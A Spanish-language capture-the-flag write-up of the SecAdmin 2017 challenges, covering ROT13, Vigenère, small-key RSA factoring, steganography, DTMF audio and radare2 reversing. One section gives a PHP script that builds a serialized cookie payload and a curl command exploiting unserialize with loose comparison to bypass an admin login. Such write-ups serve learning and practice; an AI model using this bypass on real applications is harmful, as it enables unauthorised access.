

CTF SecAdmin 2017

26 de noviembre de 2017

Resumen

Write up de las pruebas del CTF de SecAdmin 2017. #underconstruction

En el lado del cliente

El CTF empezaba con este reto, que sólo contaba 50 puntos y era para calentar.

Básicamente se trataba de una protección en el lado del cliente que había que saltarse.

Hay dos formas de plantearse este problema, la primera es usando un método mecánico a través de un análisis estático del código, y la segunda teniendo analizando la variable a comparar y ver si conocemos como ha podido generarse esa cadena de caracteres.

El código del reto

```
var flag = document.getElementById("flag").value;
var ctfFlag = flag.replace(/[a-zA-Z]/g, function(c) {
    return String.fromCharCode((c <= "Z" ? 90 : 122) >=
        (c = c.charCodeAt(0) + 13) ? c : c - 26);
});
if ("FrpNqzvaPGS17{AB_rf_oh3an_1q34_ernyvmne_3fg0_ra_ry_ynqb_qry_py13ag3}"
    === ctfFlag)
{
    alert("Enhorabuena, la flag es correcta!");
} else {
    alert("Ops! No es la flag correcta, vuelve a probar otra vez...");
}
```

Cifrado Cesar (o Rot 13)

Sabiendo la operación que se realiza para comparar las flags, una de las opciones que se nos puede ocurrir es que se esté usando un Cifrado Rot 13 (Observamos que se está sumando 13 a cada caracter alfa numérico)

Podemos usar una utilidad online para ver el contenido de

FrpNqzvaPGS17{AB_rf_oh3an_1q34_ernyvmne_3fg0_ra_ry_ynqb_qry_py13ag3}
si lo pasamos por Rot-13 y observamos que el contenido es realmente:

SecAdminCTF17{NO_es_bu3na_1d34_realizar_3st0_en_el_lado_del_cl13nt3}

Probamos que realmente es la flag buscada y conseguimos nuestra primera flag :)

Ping a Google

Serialización

```
$data = unserialize($loginCookie);

if ($data['username'] == $adminName &&
    $data['password'] == $adminPassword) {
    $adminPrivileges = true;
} else {
    $adminPrivileges = false;
}
```

Esta prueba nos hacía falta una base de conocimientos en PHP y lo primero notable es el uso de 'unserialize' y el uso de dos iguales para hacer comparaciones.

Juntando estas dos últimas observaciones vamos a poder saltarnos el sistema.

1. El uso de serialize nos permite conservar el tipo de datos original, sabemos que '==' se pone un poco nervioso a la hora de comparar dos variables de tipo diferente.
2. En la documentación de PHP, nos informan que 0 == 'cualquierString' es True. ¡BINGO! Ya tenemos casi todo hecho :)
3. Ahora tenemos que genera el payload que introducir en la cookie, para ello acudimos a PHP.
4. En la carpeta files hay un fichero que se llama serialize_flag.php que contiene un pequeño script PHP para generar el payload que tenemos que escribir como cookie.

```
<?php
```

```
$data = [
    'username' => 0,
    'password' => 0,
];

echo urlencode(serialize($data));
```

5. Finalmente, con el payload generado hacemos un cURL a la web del CTF con nuestra cookie generada y...

```
curl -v --cookie "SecAdminCTF=payload.."
https://ctf.secadmin.es/flag4/index.php
```



```
</p>
</div>
<div class="panel panel-info">
  <div class="panel-heading">
    <h3 class="panel-title">
      Info
    </h3>
  </div>
  <div class="panel-body">
    ¡Enhorabuena! La flag es SecAdminCTF17{F41l s3r1al1z3 funct10n}
  </div>
</div>
</div>
</div>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
```

6. ¡Conseguido!

Enlaces de interés

- Operadores PHP - Manual de PHP

Escritura misteriosa

wo hldr mf ñmieppzq wq newdif eeauvñcxsw suh omñww fe lybehhwclld
lqfxto gp snl onaypa ohvtevbwzvmgnwpa cuando leí eso me emocioné por
esas bonitas palabras, pero me olía que eso tendría que ser Vigenere.

Para resolver esto, tenemos que suponer algunas hipótesis y vemos a donde nos llevan.

Mi planteamiento fue el siguiente;

1. Si hacemos un test de Kasiki llegamos a que la longitud de la clave casi con toda probabilidad es 8.
2. Las palabras que tienen longitud 4 podrían ser FLAG, bajo está hipótesis llegamos que en la posición 4 de nuestra clave tiene que aparecer ADMI, ¡Uy! :P esto me suena de algo.
3. ¿Será la clave SECADMIN? Probamos a descifrarlo con esta clave y llegamos a: 'el flag es vigenere en letras mayusculas que debes de introducir dentro de las llaves correspondientes'

4. ¡Eureka!

Enlaces de interés:

- Test de Kasiki - Wikipedia EN

QR Codes

Os sorprendería si os digo que me descargue una aplicación para Android que me leyó directamente el QR Code que se llama QR Code Reader (Muy hacker verdad?:))



Incidente industrial

La matroska

Cuando nos descargábamos los flags para este reto nos encontrábamos un public.pem y un montón de ficheros *.encrypted.

Lo primero que se puede suponer es que todos estos ficheros han sido cifrados con la clave pública public.pem

Observamos primero que la clave pública que contiene public.pem tiene una longitud "pequeña"

Para ver el exponente público y la clave privada podemos utilizar esta herramienta: Herramienta para ver claves de un pem

Observamos que la clave pública está compuesta por:

$$pubmod = e260a66cd7376f7fed2c9bb770bea495$$

$$pubexp = 10001$$

Con el uso de una herramienta como Wolfram Alpha podemos factorizar la clave pública, y así poder obtener la clave privada, y vemos que la factorización es:

$$16496018614653616889 \times 18241211414598711677$$

Teniendo la factorización es trivial generar las claves privadas para poder descryptar los ficheros. Podemos hacerlo a mano, o podemos utilizar la siguiente aplicación: Mobilefish

Teniendo todo esto podemos escribir un script en Python que descrypte todos los ficheros ordenados y nos muestre el resultado, lo podemos ver en files/matroskas/1 y el fichero decrypt.py. En ese script se utiliza la librería PyCrypto inicializando RSA con las claves generadas en la etapa anterior. Vemos entonces que nos devuelve un base64, que al decodificarlo es otro zip. (Para decodificarlo esta aplicación está bastante bien: Decodificar base64 online)

El segundo fichero que nos encontramos parece que también está cifrado con RSA pero esta vez es un solo fichero, y una clave pública un poco más longeva. Sin embargo, el procedimiento sigue siendo el mismo. Es una clave pública pequeña, así que podemos intentar factorizarlo a lo bruto (Que va a tardar un poco) o usar alguna base de datos con números primos para ver

si conseguimos factorizarlo.

Usando un código similar al anterior que podemos ver en `files/matroskas/2` podemos desencriptar el fichero del último fichero comprimido, y encontramos:

`1d2c236ab91e`

Que es precisamente la flag que estábamos buscando :)

El telefono marcado

En este reto teníamos un fichero de audio con tonos DTMF revertido y con una voz de fondo, que teníamos que intentar de descifrar. Con la herramienta libre Audacity eliminando el ruido y dándole vuelta al sonido, obteníamos tonos DTMF bastante limpios a partir de ahí, usando esta herramienta: Detect DTMF Tones obtenemos un número de teléfono que era la flag.

Lo que la imagen esconde

Este tengo que admitir que me dio bastantes dolores de cabeza; pero al final no fue tan difícil.

Usamos stegohide sin clave sobre el fichero `files/stego.jpg` y obtenemos un fichero nuevo que inicia por PIC aparentemente si ningún tipo de sentido, pero que podemos leer claramente que en algún meta dato de este fichero se puede leer `tEXt- SecAdmin 2017` – lo que es una buena señal, el fichero que tenemos es el que estábamos buscando, aunque tenemos que hacer aún algunas modificaciones el fichero original al desencriptar es `files/out.txt`

Como podemos ver el magic number es PIC que no coincide con ningún formato conocido, sin embargo el formato de fichero guarda semejanzas con un fichero PNG, por tanto corregimos lo necesario para hacer que nuestro fichero sea un PNG y ¡Sorpresa! encontramos un fichero (`files/png.png`) que parece que contiene un mensaje en su interior.

Cambiando los colores y haciéndolo más eye-friendly, podemos ver que con-

tiene un código en base64 files/canvas.png y con paciencia, decodificamos este código en base64 y obtenemos la flag.

El fichero misterioso

¡Era un fichero de impresión 3D! Una vez que sabíamos esto (Gracias a la pista que nos dieron) podíamos visualizar el contenido usando por ejemplo: View STL

El flag oculto

Se trataba de un ejecutable que cuando lo abríamos nos salía 'You must unmangle the hidden flag -cosasmuraras-

Usaremos Radare2 para analizar el ejecutable, los comandos que vamos ejecutar son:

- radare2 ejecutable
- Escribimos pd @ main
- Nos muestra todo el código en ensamblador.

```
0x00400f92 4883ec30 sub esp, 0x30 ; 0
0x00400f96 c645d088 mov byte [rbp - 0x30], 0x88
0x00400f9a c645d19a mov byte [rbp - 0x2f], 0x9a
0x00400f9e c645d298 mov byte [rbp - 0x2e], 0x98
0x00400fa2 c645d376 mov byte [rbp - 0x2d], 0x76 ; 'v'
0x00400fa6 c645d499 mov byte [rbp - 0x2c], 0x99
0x00400faa c645d5a2 mov byte [rbp - 0x2b], 0xa2
0x00400fae c645d69e mov byte [rbp - 0x2a], 0x9e
0x00400fb2 c645d7a3 mov byte [rbp - 0x29], 0xa3
0x00400fb6 c645d878 mov byte [rbp - 0x28], 0x78 ; 'x'
0x00400fba c645d989 mov byte [rbp - 0x27], 0x89
0x00400fbe c645da7b mov byte [rbp - 0x26], 0x7b ; '{'
0x00400fc2 c645db66 mov byte [rbp - 0x25], 0x66 ; 'f'
0x00400fc6 c645dc6c mov byte [rbp - 0x24], 0x6c ; 'l'
0x00400fca c645ddb0 mov byte [rbp - 0x23], 0xb0
0x00400fce c645de88 mov byte [rbp - 0x22], 0x88
0x00400fd2 c645dfa9 mov byte [rbp - 0x21], 0xa9
0x00400fd6 c645e0a7 mov byte [rbp - 0x20], 0xa7
0x00400fda c645e166 mov byte [rbp - 0x1f], 0x66 ; 'f'
0x00400fde c645e2a3 mov byte [rbp - 0x1e], 0xa3
0x00400fe2 c645e37c mov byte [rbp - 0x1d], 0x7c ; '|'
0x00400fe6 c645e47d mov byte [rbp - 0x1c], 0x7d ; '}'
0x00400fea c645e59e mov byte [rbp - 0x1b], 0x9e
0x00400fee c645e679 mov byte [rbp - 0x1a], 0x79 ; 'y'
0x00400ff2 c645e799 mov byte [rbp - 0x19], 0x99
0x00400ff6 c645e868 mov byte [rbp - 0x18], 0x68 ; 'h'
0x00400ffa c645e983 mov byte [rbp - 0x17], 0x83
0x00400ffe c645eab2 mov byte [rbp - 0x16], 0xb2
0x00401002 c645eb00 mov byte [rbp - 0x15], 0
0x00401006 488d45d0 lea rax, qword [rbp - 0x30]
0x0040100a 488945f8 mov qword [rbp - 8], rax
,=> 0x0040100e eb14 jmp 0x401024
--> 0x00401010 488b45f8 mov rax, qword [rbp - 8]
0x00401014 488d5001 lea rdx, qword [rax + 1] ; 1
0x00401018 488955f8 mov qword [rbp - 8], rdx
0x0040101c 0fb610 movzx edx, byte [rax]
0x0040101f 83ea35 sub edx, 0x35 ; '5'
```

- Observamos que el vector de arriba que aparece arriba es el texto a

hacerle *unmangle* y abajos observamos que la función de decodificar es restar 0x35 a los valores del vector.

- Hagamos uso de nuestro amigo Python de nuevo, y escribamos un script que resta 0x35 a todos los valores del vector, e imprimimos lo que pone en `files/unmangle.py` podemos ver la implementación.
- ¡Eureka! Tenemos la flag.

Colaboradores

- José Carlos